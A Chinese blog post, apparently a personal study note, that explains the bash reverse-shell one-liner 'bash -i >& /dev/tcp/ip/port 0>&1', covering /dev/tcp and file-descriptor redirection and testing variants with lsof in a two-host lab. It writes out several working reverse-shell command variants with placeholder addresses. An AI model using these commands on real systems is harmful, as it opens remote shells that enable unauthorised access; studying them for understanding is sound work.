学习bash反弹shell过程中所想到的

   

bash -i >& /dev/tcp/ip/port 0>&1

    在这一句命令中,主要包含两个问题:“>&”和“/dev/tcp/ip/port”。

1.  /dev/tcp/ip/port

  /dev目录下存放这设备文件,但是/dev/tcp/ip/port却并不是设备文件,而是更类似与系统接口,用于向 ip: port 发起TCP连接。

2. >&

  这是有关bash重定向的问题。

  >:输出重定向,即是对文件描述符1进行重定向,相当于“1>”;

  <:输入重定向,即是对文件描述符0进行重定向,相当于“0<”;

  在这里又引出了文件描述符的概念。0是标准输入,1是标准输出,2是标准错误。

  第一个“>&”与后面的file即“/dev/tcp/ip/port”相连接,等价于“>/dev/tcp/ip/port 2>&1”。

  即,也可以写为:

bash -i > /dev/tcp/ip/port 2>&1 0>&1

  上面的“2>&1”和“0>&1”中的“>”表示输出重定向,“&”表示后面跟的是文件描述符而不是文件。

  综合来看,“bash -i >& /dev/tcp/ip/port 0>&1”这句话的含义就是:打开一个交互式bash,然后重定向到 ip: port ,再把标准错误和标准输入都重定向到标准输出。

 

3. 思考

  • 有个问题,标准输入(0)为什么要“输出重定向”到标准输出(1)?如果使用“输入重定向”可以吗?

  假设主机A(192.168.3.72)发起监听,主机B反弹shell到主机A。经过测试,如果把“0>&1”删除,那么在A上输入命令无效,而在B上输入命令的结果会发送到主机A上:

图1 主机B在缺少“0>&1”的情况下发起反弹shell

图2 主机A接收主机B的命令以及输入命令的结果

  如图1所示,主机B在缺少“0>&1”的情况下发起反弹shell,此时因为标准输出已经被重定向到了主机A,所以主机B上输入任何命令都不会显示在终端上,但是命令的执行结果会输出到主机A上,就像图2中第一个“pwd”命令一样。但是在主机2上输入命令,虽然会显示在终端上,但却无法获取结果。使用命令查看进程的文件描述符0,1,2:

netstat -pantu #获取进程的PID
lsof -a -p PID -d0,1,2,3 #查看pid为PID的进程的文件描述符0,1,2

  lsof命令的结果如图3所示:

图3 lsof结果

  可以从图3中看到,文件描述符0仍然是/dev/pts/0,而1,2都已经被重定向到了主机A。所以才会出现上面的情况。所以才需要让0也重定向到主机A。

  但我又想到了另一个问题:重定向0、1、2,为什么用的是“输出重定向”?用“输入重定向”不可以吗?

  根据测试,是可以的。而且根据效果来看,不管是“输出重定向”还是“输入重定向”都变成了“重定向”,纠结“输入”和“输出”已无意义。

  下面来看测试结果:

  (1). bash -i >& /dev/tcp/ip/port 0>&1

    仍然是lsof命令,结果如图4所示:

图4 正常情况下的lsof结果

    从图4中可以看到0、1、2都被重定向到了主机A。

  (2).bash -i >& /dev/tcp/ip/port 0<&1

图5 “0>&1”变为“0<&1”时的lsof结果

    此时“0>&1”中的输出重定向变成了输入重定向。但从图5中看到,0、1、2的重定向没有问题。

  (3).bash -i 1< /dev/tcp/ip/port 2>&1 0>&1

图6 将/dev/tcp/ip/port输入重定向到1时,lsof的结果

    可以看到,/dev/tcp/ip/port输入重定向到1时,0、1、2的重定向仍没有问题。

  暂时就测试这几个。

posted @   泓溪  阅读(195)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示